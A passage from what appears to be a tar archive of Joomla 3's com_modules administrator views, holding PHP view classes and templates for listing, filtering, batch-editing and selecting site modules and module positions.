		echo JHtml::_('bootstrap.addSlide', 'moduleOptions', JText::_($label), 'collapse' . ($i++), $class);
			if (isset($fieldSet->description) && trim($fieldSet->description)) :
				echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
			endif;
			?>
				<?php foreach ($this->form->getFieldset($name) as $field) : ?>
					<div class="control-group">
						<div class="control-label">
							<?php echo $field->label; ?>
						</div>
						<div class="controls">
							<?php echo $field->input; ?>
						</div>
					</div>
				<?php endforeach;
		echo JHtml::_('bootstrap.endSlide');
	endforeach;
echo JHtml::_('bootstrap.endAccordion');
com_modules/views/modules/view.html.php000060400000015044152455305310014310 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of modules.
 *
 * @since  1.6
 */
class ModulesViewModules extends JViewLegacy
{
	protected $items;

	protected $pagination;

	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->total         = $this->get('Total');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');
		$this->clientId      = $this->state->get('client_id');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// We do not need the Language filter when modules are not filtered
		if ($this->clientId == 1 && !JModuleHelper::isAdminMultilang())
		{
			unset($this->activeFilters['language']);
			$this->filterForm->removeField('language', 'filter');
		}

		// We don't need the toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
		}
		// If in modal layout.
		else
		{
			// Client id selector should not exist.
			$this->filterForm->removeField('client_id', '');

			// If in the frontend state and language should not activate the search tools.
			if (JFactory::getApplication()->isClient('site'))
			{
				unset($this->activeFilters['state']);
				unset($this->activeFilters['language']);
			}
		}

		// Include the component HTML helpers.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$state = $this->get('State');
		$canDo = JHelperContent::getActions('com_modules');
		$user  = JFactory::getUser();

		// Get the toolbar object instance
		$bar = JToolbar::getInstance('toolbar');

		if ($state->get('client_id') == 1)
		{
			JToolbarHelper::title(JText::_('COM_MODULES_MANAGER_MODULES_ADMIN'), 'cube module');
		}
		else
		{
			JToolbarHelper::title(JText::_('COM_MODULES_MANAGER_MODULES_SITE'), 'cube module');
		}

		if ($canDo->get('core.create'))
		{
			// Instantiate a new JLayoutFile instance and render the layout
			$layout = new JLayoutFile('toolbar.newmodule');

			$bar->appendButton('Custom', $layout->render(array()), 'new');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('module.edit');
		}

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::custom('modules.duplicate', 'copy.png', 'copy_f2.png', 'JTOOLBAR_DUPLICATE', true);
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('modules.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('modules.unpublish', 'JTOOLBAR_UNPUBLISH', true);
			JToolbarHelper::checkin('modules.checkin');
		}

		// Add a batch button
		if ($user->authorise('core.create', 'com_modules') && $user->authorise('core.edit', 'com_modules')
			&& $user->authorise('core.edit.state', 'com_modules'))
		{
			JHtml::_('bootstrap.renderModal', 'collapseModal');
			$title = JText::_('JTOOLBAR_BATCH');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('joomla.toolbar.batch');

			$dhtml = $layout->render(array('title' => $title));
			$bar->appendButton('Custom', $dhtml, 'batch');
		}

		if ($state->get('filter.state') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'modules.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('modules.trash');
		}

		if ($canDo->get('core.admin'))
		{
			JToolbarHelper::preferences('com_modules');
		}

		JToolbarHelper::help('JHELP_EXTENSIONS_MODULE_MANAGER');

		if (JHtmlSidebar::getEntries())
		{
			$this->sidebar = JHtmlSidebar::render();
		}
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		$this->state = $this->get('State');

		if ($this->state->get('client_id') == 0)
		{
			if ($this->getLayout() == 'default')
			{
				return array(
					'ordering'       => JText::_('JGRID_HEADING_ORDERING'),
					'a.published'    => JText::_('JSTATUS'),
					'a.title'        => JText::_('JGLOBAL_TITLE'),
					'position'       => JText::_('COM_MODULES_HEADING_POSITION'),
					'name'           => JText::_('COM_MODULES_HEADING_MODULE'),
					'pages'          => JText::_('COM_MODULES_HEADING_PAGES'),
					'a.access'       => JText::_('JGRID_HEADING_ACCESS'),
					'language_title' => JText::_('JGRID_HEADING_LANGUAGE'),
					'a.id'           => JText::_('JGRID_HEADING_ID')
				);
			}

			return array(
				'a.title'        => JText::_('JGLOBAL_TITLE'),
				'position'       => JText::_('COM_MODULES_HEADING_POSITION'),
				'name'           => JText::_('COM_MODULES_HEADING_MODULE'),
				'pages'          => JText::_('COM_MODULES_HEADING_PAGES'),
				'a.access'       => JText::_('JGRID_HEADING_ACCESS'),
				'language_title' => JText::_('JGRID_HEADING_LANGUAGE'),
				'a.id'           => JText::_('JGRID_HEADING_ID')
			);
		}
		else
		{
			if ($this->getLayout() == 'default')
			{
				return array(
					'ordering'       => JText::_('JGRID_HEADING_ORDERING'),
					'a.published'    => JText::_('JSTATUS'),
					'a.title'        => JText::_('JGLOBAL_TITLE'),
					'position'       => JText::_('COM_MODULES_HEADING_POSITION'),
					'name'           => JText::_('COM_MODULES_HEADING_MODULE'),
					'a.access'       => JText::_('JGRID_HEADING_ACCESS'),
					'a.language'     => JText::_('JGRID_HEADING_LANGUAGE'),
					'a.id'           => JText::_('JGRID_HEADING_ID')
				);
			}

			return array(
					'a.title'        => JText::_('JGLOBAL_TITLE'),
					'position'       => JText::_('COM_MODULES_HEADING_POSITION'),
					'name'           => JText::_('COM_MODULES_HEADING_MODULE'),
					'a.access'       => JText::_('JGRID_HEADING_ACCESS'),
					'a.language'     => JText::_('JGRID_HEADING_LANGUAGE'),
					'a.id'           => JText::_('JGRID_HEADING_ID')
			);
		}
	}
}
com_modules/views/modules/tmpl/modal.php000060400000012302152455305310014435 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (JFactory::getApplication()->isClient('site'))
{
	JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN'));
}

// Load needed scripts
JHtml::_('behavior.core');
JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
JHtml::_('bootstrap.popover', '.hasPopover', array('placement' => 'bottom'));
JHtml::_('formbehavior.chosen', 'select');

// Scripts for the modules xtd-button
JHtml::_('behavior.polyfill', array('event'), 'lt IE 9');
JHtml::_('script', 'com_modules/admin-modules-modal.min.js', array('version' => 'auto', 'relative' => true));

// Special case for the search field tooltip.
$searchFilterDesc = $this->filterForm->getFieldAttribute('search', 'description', null, 'filter');
JHtml::_('bootstrap.tooltip', '#filter_search', array('title' => JText::_($searchFilterDesc), 'placement' => 'bottom'));

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$editor    = JFactory::getApplication()->input->get('editor', '', 'cmd');
$link      = 'index.php?option=com_modules&view=modules&layout=modal&tmpl=component&' . JSession::getFormToken() . '=1';

if (!empty($editor))
{
	$link = 'index.php?option=com_modules&view=modules&layout=modal&tmpl=component&editor=' . $editor . '&' . JSession::getFormToken() . '=1';
}
?>
<div class="container-popup">

	<form action="<?php echo JRoute::_($link); ?>" method="post" name="adminForm" id="adminForm">

		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if ($this->total > 0) : ?>
		<table class="table table-striped" id="moduleList">
			<thead>
				<tr>
					<th width="1%" class="nowrap center">
						<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
					</th>
					<th class="title">
						<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
					</th>
					<th width="15%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'COM_MODULES_HEADING_POSITION', 'a.position', $listDirn, $listOrder); ?>
					</th>
					<th width="10%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'COM_MODULES_HEADING_MODULE', 'name', $listDirn, $listOrder); ?>
					</th>
					<th width="10%" class="nowrap hidden-phone hidden-tablet">
						<?php echo JHtml::_('searchtools.sort', 'COM_MODULES_HEADING_PAGES', 'pages', $listDirn, $listOrder); ?>
					</th>
					<th width="10%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'ag.title', $listDirn, $listOrder); ?>
					</th>
					<th width="10%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'l.title', $listDirn, $listOrder); ?>
					</th>
					<th width="1%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="8">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
				<?php
				$iconStates = array(
					-2 => 'icon-trash',
					0  => 'icon-unpublish',
					1  => 'icon-publish',
					2  => 'icon-archive',
				);
				foreach ($this->items as $i => $item) :
				?>
				<tr class="row<?php echo $i % 2; ?>">
					<td class="center">
						<span class="<?php echo $iconStates[$this->escape($item->published)]; ?>" aria-hidden="true"></span>
					</td>
					<td class="has-context">
						<a class="js-module-insert btn btn-small btn-block btn-success" href="#" data-module="<?php echo $item->id; ?>" data-editor="<?php echo $this->escape($editor); ?>">
							<?php echo $this->escape($item->title); ?>
						</a>
					</td>
					<td class="small hidden-phone">
						<?php if ($item->position) : ?>
						<a class="js-position-insert btn btn-small btn-block btn-warning" href="#" data-position="<?php echo $this->escape($item->position); ?>" data-editor="<?php echo $this->escape($editor); ?>"><?php echo $this->escape($item->position); ?></a>
						<?php else : ?>
						<span class="label"><?php echo JText::_('JNONE'); ?></span>
						<?php endif; ?>
					</td>
					<td class="small hidden-phone">
						<?php echo $item->name; ?>
					</td>
					<td class="small hidden-phone hidden-tablet">
						<?php echo $item->pages; ?>
					</td>
					<td class="small hidden-phone">
						<?php echo $this->escape($item->access_level); ?>
					</td>
					<td class="small hidden-phone">
						<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
					</td>
					<td class="hidden-phone">
						<?php echo (int) $item->id; ?>
					</td>
				</tr>
			<?php endforeach; ?>
			</tbody>
		</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="editor" value="<?php echo $editor; ?>" />
		<?php echo JHtml::_('form.token'); ?>

	</form>
</div>
com_modules/views/modules/tmpl/default_batch_footer.php000060400000001277152455305310017515 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

?>
<button type="button" class="btn" onclick="document.getElementById('batch-position-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('module.batch');return false;">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
com_modules/views/modules/tmpl/default_batch_body.php000060400000004616152455305310017154 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$clientId  = $this->state->get('client_id');

// Show only Module Positions of published Templates
$published = 1;
$positions = JHtml::_('modules.positions', $clientId, $published);
$positions['']['items'][] = ModulesHelper::createOption('nochange', JText::_('COM_MODULES_BATCH_POSITION_NOCHANGE'));
$positions['']['items'][] = ModulesHelper::createOption('noposition', JText::_('COM_MODULES_BATCH_POSITION_NOPOSITION'));

// Add custom position to options
$customGroupText = JText::_('COM_MODULES_CUSTOM_POSITION');

// Build field
$attr = array(
	'id'        => 'batch-position-id',
	'list.attr' => 'class="chzn-custom-value input-xlarge" '
		. 'data-custom_group_text="' . $customGroupText . '" '
		. 'data-no_results_text="' . JText::_('COM_MODULES_ADD_CUSTOM_POSITION') . '" '
		. 'data-placeholder="' . JText::_('COM_MODULES_TYPE_OR_SELECT_POSITION') . '" '
);

?>
<div class="container-fluid">
	<p><?php echo JText::_('COM_MODULES_BATCH_TIP'); ?></p>
	<div class="row-fluid">
		<?php if ($clientId != 1) : ?>
			<div class="control-group span6">
				<div class="controls">
					<?php echo JLayoutHelper::render('joomla.html.batch.language', array()); ?>
				</div>
			</div>
		<?php elseif ($clientId == 1 && JModuleHelper::isAdminMultilang()) : ?>
			<div class="control-group span6">
				<div class="controls">
					<?php echo JLayoutHelper::render('joomla.html.batch.adminlanguage', array()); ?>
				</div>
			</div>
		<?php endif; ?>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.access'); ?>
			</div>
		</div>
	</div>
	<div class="row-fluid">
		<?php if ($published >= 0) : ?>
			<div class="span6">
				<div class="controls">
					<label id="batch-choose-action-lbl" for="batch-choose-action">
						<?php echo JText::_('COM_MODULES_BATCH_POSITION_LABEL'); ?>
					</label>
					<div id="batch-choose-action" class="control-group">
						<?php echo JHtml::_('select.groupedlist', $positions, 'batch[position_id]', $attr); ?>
						<div id="batch-copy-move" class="control-group radio">
							<?php echo JHtml::_('modules.batchOptions'); ?>
						</div>
					</div>
				</div>
			</div>
		<?php endif; ?>
	</div>
</div>
com_modules/views/modules/tmpl/default.php000060400000022105152455305310014767 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$clientId   = (int) $this->state->get('client_id', 0);
$user		= JFactory::getUser();
$listOrder	= $this->escape($this->state->get('list.ordering'));
$listDirn	= $this->escape($this->state->get('list.direction'));
$saveOrder	= ($listOrder == 'a.ordering');
if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_modules&task=modules.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'moduleList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
}
$colSpan = $clientId === 1 ? 8 : 10;
?>
<form action="<?php echo JRoute::_('index.php?option=com_modules'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif;?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if ($this->total > 0) : ?>
			<table class="table table-striped" id="moduleList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center" style="min-width:55px">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th class="title">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th width="15%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_MODULES_HEADING_POSITION', 'a.position', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_MODULES_HEADING_MODULE', 'name', $listDirn, $listOrder); ?>
						</th>
						<?php if ($clientId === 0) : ?>
						<th width="10%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_MODULES_HEADING_PAGES', 'pages', $listDirn, $listOrder); ?>
						</th>
						<?php endif; ?>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'ag.title', $listDirn, $listOrder); ?>
						</th>
						<?php if ($clientId === 0) : ?>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'l.title', $listDirn, $listOrder); ?>
						</th>
						<?php elseif ($clientId === 1 && JModuleHelper::isAdminMultilang()) : ?>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $listDirn, $listOrder); ?>
						</th>
						<?php endif; ?>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="<?php echo $colSpan; ?>">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) :
					$ordering   = ($listOrder == 'a.ordering');
					$canCreate  = $user->authorise('core.create',     'com_modules');
					$canEdit	= $user->authorise('core.edit',		  'com_modules.module.' . $item->id);
					$canCheckin = $user->authorise('core.manage',     'com_checkin') || $item->checked_out == $user->get('id')|| $item->checked_out == 0;
					$canChange  = $user->authorise('core.edit.state', 'com_modules.module.' . $item->id) && $canCheckin;
				?>
					<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->position ?: 'none'; ?>">
						<td class="order nowrap center hidden-phone">
							<?php
							$iconClass = '';
							if (!$canChange)
							{
								$iconClass = ' inactive';
							}
							elseif (!$saveOrder)
							{
								$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::_('tooltipText', 'JORDERINGDISABLED');
							}
							?>
							<span class="sortable-handler<?php echo $iconClass; ?>">
								<span class="icon-menu"></span>
							</span>
							<?php if ($canChange && $saveOrder) : ?>
								<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order" />
							<?php endif; ?>
						</td>
						<td class="center">
							<?php if ($item->enabled > 0) : ?>
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							<?php endif; ?>
						</td>
						<td class="center">
							<div class="btn-group">
							<?php // Check if extension is enabled ?>
							<?php if ($item->enabled > 0) : ?>
								<?php echo JHtml::_('jgrid.published', $item->published, $i, 'modules.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
								<?php // Create dropdown items and render the dropdown list.
								if ($canCreate)
								{
									JHtml::_('actionsdropdown.duplicate', 'cb' . $i, 'modules');
								}
								if ($canChange)
								{
									JHtml::_('actionsdropdown.' . ((int) $item->published === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'modules');
								}
								if ($canCreate || $canChange)
								{
									echo JHtml::_('actionsdropdown.render', $this->escape($item->title));
								}
								?>
							<?php else : ?>
								<?php // Extension is not enabled, show a message that indicates this. ?>
								<button class="btn btn-micro hasTooltip" title="<?php echo JText::_('COM_MODULES_MSG_MANAGE_EXTENSION_DISABLED'); ?>">
									<span class="icon-ban-circle" aria-hidden="true"></span>
								</button>
							<?php endif; ?>
							</div>
						</td>
						<td class="has-context">
							<div class="pull-left">
								<?php if ($item->checked_out) : ?>
									<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'modules.', $canCheckin); ?>
								<?php endif; ?>
								<?php if ($canEdit) : ?>
									<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_modules&task=module.edit&id=' . (int) $item->id); ?>" title="<?php echo JText::_('JACTION_EDIT'); ?>">
										<?php echo $this->escape($item->title); ?></a>
								<?php else : ?>
									<?php echo $this->escape($item->title); ?>
								<?php endif; ?>

								<?php if (!empty($item->note)) : ?>
									<div class="small">
										<?php echo JText::sprintf('JGLOBAL_LIST_NOTE', $this->escape($item->note)); ?>
									</div>
								<?php endif; ?>
							</div>
						</td>
						<td class="small hidden-phone">
							<?php if ($item->position) : ?>
								<span class="label label-info">
									<?php echo $item->position; ?>
								</span>
							<?php else : ?>
								<span class="label">
									<?php echo JText::_('JNONE'); ?>
								</span>
							<?php endif; ?>
						</td>
						<td class="small hidden-phone hidden-tablet">
							<?php echo $item->name; ?>
						</td>
						<?php if ($clientId === 0) : ?>
						<td class="small hidden-phone hidden-tablet">
							<?php echo $item->pages; ?>
						</td>
						<?php endif; ?>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
						<?php if ($clientId === 0) : ?>
						<td class="small hidden-phone">
							<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
						</td>
						<?php elseif ($clientId === 1 && JModuleHelper::isAdminMultilang()) : ?>
							<td class="small hidden-phone">
								<?php if ($item->language == ''):?>
									<?php echo JText::_('JUNDEFINED'); ?>
								<?php elseif ($item->language == '*'):?>
									<?php echo JText::alt('JALL', 'language'); ?>
								<?php else:?>
									<?php echo $this->escape($item->language); ?>
								<?php endif; ?>
							</td>
						<?php endif; ?>
						<td class="hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<?php // Load the batch processing form. ?>
		<?php if ($user->authorise('core.create', 'com_modules')
			&& $user->authorise('core.edit', 'com_modules')
			&& $user->authorise('core.edit.state', 'com_modules')) : ?>
			<?php echo JHtml::_(
				'bootstrap.renderModal',
				'collapseModal',
				array(
					'title'  => JText::_('COM_MODULES_BATCH_OPTIONS'),
					'footer' => $this->loadTemplate('batch_footer'),
				),
				$this->loadTemplate('batch_body')
			); ?>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_modules/views/modules/tmpl/default.xml000060400000000320152455305310014773 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_MODULES_MODULES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_MODULES_MODULES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_modules/views/positions/tmpl/modal.php000060400000010167152455305310015023 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// @deprecated  4.0 without replacement only used in hathor

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('formbehavior.chosen', 'select');

$function  = JFactory::getApplication()->input->getCmd('function', 'jSelectPosition');
$lang      = JFactory::getLanguage();
$ordering  = $this->escape($this->state->get('list.ordering'));
$direction = $this->escape($this->state->get('list.direction'));
$clientId  = $this->state->get('client_id');
$state     = $this->state->get('filter.state');
$template  = $this->state->get('filter.template');
$type      = $this->state->get('filter.type');
?>
<form action="<?php echo JRoute::_('index.php?option=com_modules&view=positions&layout=modal&tmpl=component&function=' . $function . '&client_id=' . $clientId); ?>" method="post" name="adminForm" id="adminForm">
	<fieldset class="filter clearfix">
		<div class="left">
			<label for="filter_search">
				<?php echo JText::_('JSEARCH_FILTER_LABEL'); ?>
			</label>
			<input type="text" name="filter_search" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" size="30" title="<?php echo JText::_('COM_MODULES_FILTER_SEARCH_DESC'); ?>" />

			<button type="submit">
				<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?></button>
			<button type="button" onclick="document.getElementById('filter_search').value='';this.form.submit();">
				<?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?></button>
		</div>

		<div class="right">
			<select name="filter_state" onchange="this.form.submit()">
				<option value=""><?php echo JText::_('JOPTION_SELECT_PUBLISHED'); ?></option>
				<?php echo JHtml::_('select.options', JHtml::_('modules.templateStates'), 'value', 'text', $state, true); ?>
			</select>

			<select name="filter_type" onchange="this.form.submit()">
				<option value=""><?php echo JText::_('COM_MODULES_OPTION_SELECT_TYPE'); ?></option>
				<?php echo JHtml::_('select.options', JHtml::_('modules.types'), 'value', 'text', $type, true); ?>
			</select>

			<select name="filter_template" onchange="this.form.submit()">
				<option value=""><?php echo JText::_('JOPTION_SELECT_TEMPLATE'); ?></option>
				<?php echo JHtml::_('select.options', JHtml::_('modules.templates', $clientId), 'value', 'text', $template, true); ?>
			</select>
		</div>
	</fieldset>

	<table class="adminlist">
		<thead>
			<tr>
				<th class="title" width="20%">
					<?php echo JHtml::_('grid.sort', 'JGLOBAL_TITLE', 'value', $direction, $ordering); ?>
				</th>
				<th>
					<?php echo JHtml::_('grid.sort', 'COM_MODULES_HEADING_TEMPLATES', 'templates', $direction, $ordering); ?>
				</th>
			</tr>
		</thead>
		<tfoot>
			<tr>
				<td colspan="15">
					<?php echo $this->pagination->getListFooter(); ?>
				</td>
			</tr>
		</tfoot>
		<tbody>
		<?php $i = 1; foreach ($this->items as $value => $templates) : ?>
			<tr class="row<?php echo $i = 1 - $i; ?>">
				<td>
					<a class="pointer" onclick="if (window.parent) window.parent.<?php echo $function; ?>('<?php echo $value; ?>');"><?php echo $this->escape($value); ?></a>
				</td>
				<td>
					<?php if (!empty($templates)) : ?>
					<a class="pointer" onclick="if (window.parent) window.parent.<?php echo $function; ?>('<?php echo $value; ?>');">
						<ul>
						<?php foreach ($templates as $template => $label) : ?>
							<li><?php echo $lang->hasKey($label) ? JText::sprintf('COM_MODULES_MODULE_TEMPLATE_POSITION', JText::_($template), JText::_($label)) : JText::_($template); ?></li>
						<?php endforeach; ?>
						</ul>
					</a>
					<?php endif; ?>
				</td>
			</tr>
			<?php endforeach; ?>
		</tbody>
	</table>

	<div>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="filter_order" value="<?php echo $ordering; ?>" />
		<input type="hidden" name="filter_order_Dir" value="<?php echo $direction; ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_modules/views/positions/view.html.php000060400000001761152455305310014670 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// @deprecated  4.0 without replacement only used in hathor

defined('_JEXEC') or die;

/**
 * View Module positions class.
 *
 * @since  1.6
 */
class ModulesViewPositions extends JViewLegacy
{
	protected $items;

	protected $pagination;

	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$this->items      = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state      = $this->get('State');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		parent::display($tpl);
	}
}
com_modules/views/select/view.html.php000060400000003127152455305310014116 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Modules component
 *
 * @since  1.6
 */
class ModulesViewSelect extends JViewLegacy
{
	protected $state;

	protected $items;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$state = $this->get('State');
		$items = $this->get('Items');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->state = &$state;
		$this->items = &$items;

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$state = $this->get('State');

		// Add page title
		if ($state->get('client_id') == 1)
		{
			JToolbarHelper::title(JText::_('COM_MODULES_MANAGER_MODULES_ADMIN'), 'cube module');
		}
		else
		{
			JToolbarHelper::title(JText::_('COM_MODULES_MANAGER_MODULES_SITE'), 'cube module');
		}

		// Get the toolbar object instance
